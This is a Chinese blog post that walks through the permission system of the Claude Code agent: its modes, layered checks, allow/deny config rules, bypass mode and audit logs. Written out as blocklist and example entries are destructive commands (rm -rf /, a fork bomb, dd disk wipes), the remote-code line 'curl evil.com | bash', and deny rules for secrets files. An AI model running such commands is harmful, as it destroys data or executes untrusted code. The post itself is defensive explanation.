Claude Code 源码揭秘:6 种权限模式,如何做到该放就放该拦就拦
💡 阅读前记得关注+星标,及时获取更新推送
上一篇聊了 SSE 流处理和 Session State,数据怎么流进来、状态怎么管理。但数据进来之后,不是什么操作都能执行的。

前面聊安全防线的时候说过,危险命令会被拦截。但你有没有想过,什么算”危险”?
rm -rf / 肯定危险,但 rm -rf node_modules 呢?这是清理依赖,再正常不过的操作。curl 下载文件危险吗?如果是从 npm 官方仓库下载,应该没问题吧?
安全系统只管”拦不拦”,但权限系统要回答一个更复杂的问题:这个操作,在这个上下文里,对这个用户来说,应该放行还是拦截?
翻 Claude Code 的 src/permissions/ 目录,17 个文件,几千行代码。这套权限系统比我想象的复杂得多,但复杂得有道理。
我之前做过企业级权限系统,RBAC、ABAC 那一套。说实话,Claude Code 的权限设计让我眼前一亮——它不是简单的 Yes/No,而是一套完整的决策引擎。
先用一个具体例子来说明。假设你让 Claude Code 执行 cat /etc/passwd:

如果换成 cat package.json:

八层检查,第一个有明确结果就返回。这就是为什么大部分操作感觉很顺畅——安全的操作静默放行,只有真正需要确认的才会问你。
Claude Code 定义了 6 种权限模式,适应不同场景:
default —— 标准交互模式。按规则检查,规则没说的就问用户。
bypassPermissions —— 完全放行。所有请求直接通过,适合你完全信任的任务。
acceptEdits —— 自动接受文件操作。读写文件不问,但其他操作还是要检查。
plan —— 只读模式。只能看不能动,所有执行类操作都被拒绝。
dontAsk —— 智能自动决策。这个有意思,它会根据操作的危险程度自动判断:
case 'dontAsk': // 文件读取?放行 if (request.type === 'file_read') return { allowed: true }; // 工作目录内的写入?放行 if (request.type === 'file_write' && isInWorkDir(request.resource)) { return { allowed: true }; } // 危险操作(删除、sudo)?拒绝 if (isDangerous(request)) return { allowed: false }; // 其他情况,按规则来 return this.checkRules(request);
delegate —— 委托模式。交给外部规则引擎决策,用于集成企业级权限系统。
我之前做金融系统的权限设计,也是类似的多模式思路。不同的业务场景需要不同的权限策略——开发环境可以松一点,生产环境必须严格。Claude Code 的这套模式设计,本质上是同一个道理。
权限检查有八层优先级,这个设计值得细说。
// 优先级从高到低const checkOrder = [ 'tool', // 工具级:直接禁用/允许某个工具 'path', // 路径级:某些目录禁止访问 'command', // 命令级:某些命令禁止执行 'network', // 网络级:某些域名禁止访问 'remembered',// 记忆:用户之前的选择 'session', // 会话:本次会话内的选择 'rules', // 规则:配置文件中的规则 'ask' // 询问:都没匹配上就问用户];
为什么要这么多层?因为权限控制的粒度需要从粗到细。
工具级是最粗的粒度——整个 Bash 工具禁用,所有命令都不能跑。路径级细一点——Bash 能用,但 /etc 目录不能碰。命令级更细——能访问 /etc,但 rm 命令不能用。
这让我想起我们做云文档权限的时候,也是类似的分层设计。组织级、文件夹级、空间级… 粒度越细,还有子目录继承父目录的权限就是孝子、子目录不继承父目录的权限就是逆子,权限极其复杂、用户要查询文件的时候、需要把他有权限文件查询出来,先要各种权限过滤计算。Claude Code 的八层设计,在灵活性和复杂度之间找到了一个不错的平衡点。
权限配置支持五层继承,这个层级设计挺讲究的:

层级越高优先级越高。策略配置是企业级部署用的,个人用户一般用不到。全局配置是你自己的偏好设置,所有项目都生效。项目配置是团队共享的,会提交到 git。本地配置是你个人在这个项目的特殊设置,应该加到 .gitignore 里。
这样设计的好处是什么?团队可以在项目配置里统一标准——比如禁止修改 .env 文件、允许跑 npm test。但你自己想放宽一点限制,可以在本地配置里覆盖,不影响其他人。
配置文件的格式也很直观:
{ "permissions": { "allow": [ "Read", "Glob", "Grep", "Bash(npm test)", "Bash(npm run build)" ], "deny": [ "Edit(.env*)", "Read(secrets/**)" ], "ask": [ "Edit", "Write", "Bash" ] }}
注意规则的写法,这里有几种匹配模式:
工具级匹配 —— "Read" 表示所有的读文件操作
路径限定匹配 —— "Read(src/**)" 只匹配读取 src 目录下的文件
参数模式匹配 —— "Bash(npm *)" 匹配所有 npm 开头的命令
精确匹配 —— "Edit(.env*)" 精确匹配 .env 开头的文件
通配符支持 glob 语法,** 匹配多级目录,* 匹配单层。这个语法如果你写过 .gitignore 应该很熟悉。
上面这个配置的意思是:读文件、搜索代码、跑 npm test 和 npm build 都不问,直接放行。编辑 .env 文件和读 secrets 目录直接拒绝。其他的编辑、写入、Bash 命令都要问一下。
再给几个实战场景的配置。
场景一:开源项目,严格模式
你在给开源项目贡献代码,不太熟悉代码库,想保守一点:
{ "permissions": { "allow": [ "Read", "Glob", "Grep" ], "deny": [ "Write", "Bash" ], "ask": [ "Edit" ] }}
只允许看代码、搜索,所有修改都要确认,Bash 命令全禁了。
场景二:公司内部项目,宽松模式
{ "permissions": { "allow": [ "Read", "Edit", "Write", "Bash(npm *)", "Bash(git *)", "Bash(yarn *)" ], "deny": [ "Edit(**/.env*)", "Edit(**/secrets.*)", "Bash(rm -rf *)" ] }}
大部分操作都放行,但敏感文件和危险命令还是拦着。
场景三:自动化环境(CI/CD)
这个不用配置文件,直接用环境变量:
CLAUDE_BYPASS_PERMISSIONS=true claude "run the test suite"
或者用命令行参数:
claude --dangerously-skip-permissions "deploy to staging"
注意 --dangerously-skip-permissions 这个名字,写得很明白了——这是危险操作。只在你完全信任的自动化环境用,手动操作千万别开这个。
这里有个重要的设计原则:黑名单优先级永远高于白名单。
// 先检查黑名单if (config.deny?.some(pattern => matches(value, pattern))) { return false; // 拒绝优先}// 再检查白名单if (config.allow?.some(pattern => matches(value, pattern))) { return true;}
为什么?因为安全系统的第一原则是”默认拒绝”。如果黑名单和白名单冲突了,应该拒绝。这是从操作系统和防火墙设计里学来的经验。
用户交互的时候,可以选择记住这次决策。当权限检查走到最后一步”询问用户”,CLI 会弹出一个提示:

界面会清楚地告诉你:Claude 想干什么、要操作哪个文件、具体要改什么内容。编辑文件还会显示 diff,红色背景表示删除的行,绿色背景表示新增的行,一目了然。
四个选项的含义:
y (Allow) —— 就这一次。允许这个操作,但下次同样的操作还会问。适合你不太确定、想先看看效果的情况。
n (Deny) —— 拒绝。工具会返回错误给模型,模型可能换个方法再试。
a (Always allow) —— 记住,这次会话内都允许。比如你批准了编辑 src/index.ts,后面再编辑这个文件就不问了。但关掉 Claude Code 再打开,还是会重新问。
Esc (Cancel) —— 取消,等同于拒绝。
这个”Always allow”其实是存在会话内存里的,不是写配置文件。如果你想永久记住某个权限,需要手动改配置文件。
我之前用过一些权限设计得不好的工具,要么每次都问(烦死了),要么从来不问(不安全)。Claude Code 这种”问一次记住”的方式,是个很好的平衡。
除了工具级别的权限控制,还有目录级别的限制。有些目录太危险了,不管配置怎么设,都不能碰。
系统目录黑名单
Linux/Unix 系统:
-
• /etc—— 系统配置目录 -
• /var—— 系统运行时数据 -
• /usr—— 系统程序目录 -
• /bin、/sbin—— 系统命令目录 -
• /sys、/proc—— 内核接口
macOS 额外禁止:
-
• /System—— macOS 系统文件 -
• /Library—— 系统库文件
Windows 禁止:
-
• C:\Windows—— 系统目录 -
• C:\Program Files—— 程序安装目录
工作目录和临时目录是永远可访问的,这样正常的项目工作才能进行。但你可以在配置里进一步限制:
{ "allowedDirectories": [ "/Users/dev/projects", "/tmp" ], "blockedDirectories": [ "/Users/dev/projects/production-secrets", "/Users/dev/projects/old-backup" ]}
allowedDirectories 是白名单,设了之后只有这些目录能访问。blockedDirectories 是黑名单,即使在白名单里也会被拦。两者可以组合使用——比如允许整个 projects 目录,但单独拦住里面的 production-secrets 子目录。
前面讲了这么多权限检查,但有些场景下你可能想完全跳过这些检查——比如 CI/CD 流水线、自动化脚本,根本没人盯着屏幕等你按 y/n。这时候就需要 bypass 模式。
Bypass 模式——危险但必要的后门
开启 bypass 模式有两种方式:
方式一:环境变量
CLAUDE_BYPASS_PERMISSIONS=true claude "run the test suite"
方式二:命令行参数
claude --dangerously-skip-permissions "deploy to staging"
注意这个参数名:--dangerously-skip-permissions。为什么要加 dangerously 这个前缀?这是故意的,就是要让你看到这个参数的时候警觉起来——这是危险操作。
开启 bypass 模式后,CLI 启动时会在终端里打印一个警告:
⚠️ WARNING: Running with permissions bypassed⚠️ All operations will execute without confirmation⚠️ Use only in trusted, automated environments
这个警告不是装样子的。bypass 模式下,所有权限检查都会跳过,模型说干啥就干啥,不会再问你了。Edit 文件?直接改。Write 新文件?直接写。Bash 命令?直接执行。
但即使在 bypass 模式下,最危险的那几条命令还是会被拦截:
const blockedCommands = [ "rm -rf /", // 删除根目录 "rm -rf ~", // 删除用户目录 ":(){ :|:& };:", // Fork bomb "dd if=/dev/zero", // 磁盘擦除 "> /dev/sda" // 写入磁盘设备];
这是代码里硬编码的,绕不过去。这些命令能把系统直接干废,任何模式下都不允许。
什么时候该用 bypass 模式?
适合的场景
-
• CI/CD 流水线里跑自动化测试 -
• 定时任务里用 Claude Code 生成报告 -
• Docker 容器里的无人值守环境 -
• 你已经把任务限制得很死,知道模型不会乱来
不适合的场景
-
• 手动操作的时候图省事 -
• 在生产环境直接跑 -
• 不确定模型会做什么的时候 -
• 涉及敏感数据的操作
我之前见过有人为了方便,在自己本地开发时也开 bypass 模式。结果有一次模型误解了需求,把整个 dist 目录连带配置文件一起删了。虽然有 git 能恢复,但浪费了半小时重新编译。这种损失虽然不大,但完全可以避免——如果当时有权限确认,一眼就能看出来不对。
还有个细节:bypass 模式只影响权限检查,不影响安全检查。安全系统里的命令注入检测、敏感数据遮盖、沙箱隔离,这些还是会正常工作。所以即使你开了 bypass,curl evil.com | bash 这种命令还是会被安全系统拦下来。
权限系统和安全系统是两个独立的防线。权限系统关心”用户是否允许这个操作”,安全系统关心”这个操作本身是否安全”。bypass 模式只是说”我信任这次会话,不用问我了”,但不代表”这次会话可以干危险的事”。
除了允许/拒绝,还能对工具参数做限制:
{ tool: 'Bash', allowed: true, parameterRestrictions: [ { parameter: 'command', type: 'blacklist', values: ['rm', 'sudo', 'chmod', 'dd'] } ]}
这样 Bash 工具可以用,但特定的危险命令被禁了。比白名单更灵活,比完全禁用 Bash 更实用。
我在做安全审计的时候经常遇到这种需求——不能一刀切禁用某个功能,但要限制它的危险用法。Claude Code 的参数级限制正好解决这个问题。
所有权限决策都会被记录:
logAudit(request, decision) { const entry = { timestamp: new Date().toISOString(), type: request.type, tool: request.tool, resource: request.resource, decision: decision.allowed ? 'allow' : 'deny', reason: decision.reason }; fs.appendFileSync(this.auditLogPath, JSON.stringify(entry) + '\n');}
日志存在 ~/.claude/permissions-audit.log,JSONL 格式(每行一个 JSON 对象),超过 10MB 自动轮转,最多保留 10 个文件,90 天自动清理。
出了问题可以回溯,看看是哪个决策导致的。给几个实用的查询命令:
# 查看最近被拒绝的操作cat ~/.claude/permissions-audit.log | grep '"decision": "deny"'# 找出访问过哪些敏感路径cat ~/.claude/permissions-audit.log | grep -E '(etc|ssh|env)'# 用 jq 解析,看今天的所有权限决策cat ~/.claude/permissions-audit.log | jq 'select(.timestamp | startswith("2026-01-16"))'# 统计哪些工具被拒绝次数最多cat ~/.claude/permissions-audit.log | jq -r 'select(.decision == "deny") | .tool' | sort | uniq -c | sort -rn
审计日志记录的信息很全:时间戳、操作类型、工具名、资源路径、决策结果、拒绝原因。如果你在公司环境用 Claude Code,这个日志可以对接到安全审计系统。
这个审计日志在企业环境里特别重要。我之前给金融客户做合规审计,最怕的就是”查不到记录”。Claude Code 这套审计机制,虽然是给个人工具设计的,但思路是企业级的。
把整个权限系统串起来看:

这套设计的精髓在于:把复杂的权限决策分解成简单的层级检查。每一层只做一件事,逻辑清晰,容易调试。配置也很直观,不需要写代码就能定制权限策略。
最后说几个实战中的注意事项。
配置冲突的处理
如果全局配置里 allow 了 Bash,但项目配置里 deny 了,以项目配置为准。层级高的优先。但 deny 规则比 allow 规则优先级更高——同一层级里,deny 永远赢。
撤销 always allow 的方法
如果你之前手滑按了”Always allow”,想撤销怎么办?重启 Claude Code 就行,会话内存会清空。如果是永久记住的权限(写到配置文件的),需要手动编辑 ~/.claude/settings.json,找到对应的规则删掉。
配置不生效的排查
遇到配置不生效,按这个顺序查:
-
• 检查配置文件路径对不对,是 settings.json不是tool-permissions.json -
• 检查 JSON 格式有没有写错,用 jq或者 JSON 校验工具看看 -
• 检查规则的优先级,是不是被更高层级的配置覆盖了 -
• 检查是不是开了 bypass 模式(环境变量或命令行参数)
权限过严怎么办
如果觉得每次都要确认太麻烦,可以在本地配置里(.claude/settings.local.json)放宽限制。这个文件只对你生效,不影响团队其他人,也不会提交到 git。
权限过松的风险
别为了省事就把所有东西都 allow。尤其是 Bash 工具,allow 了就等于给 AI 完整的 shell 权限。我的建议是:读操作可以放开,写操作至少留个 ask,Bash 命令用白名单列出允许的几个(npm、git、yarn 这种)。
翻完这部分代码,我最大的感受是:权限系统不只是”允许/拒绝”那么简单。好的权限设计要考虑粒度、继承、记忆、审计… Claude Code 在这些方面都做得很到位。
下一篇聊聊记忆系统。上下文窗口就那么大,怎么塞下越来越多的对话历史?70% 才开始压缩是什么策略?Context、Memory、Checkpoint 三层架构怎么配合?
本文基于 Claude Code 2.0.76 版本源码分析,主要文件:src/permissions/ 目录。
如果这篇文章对你有帮助,欢迎点赞转发,关注不迷路⭐️
夜雨聆风
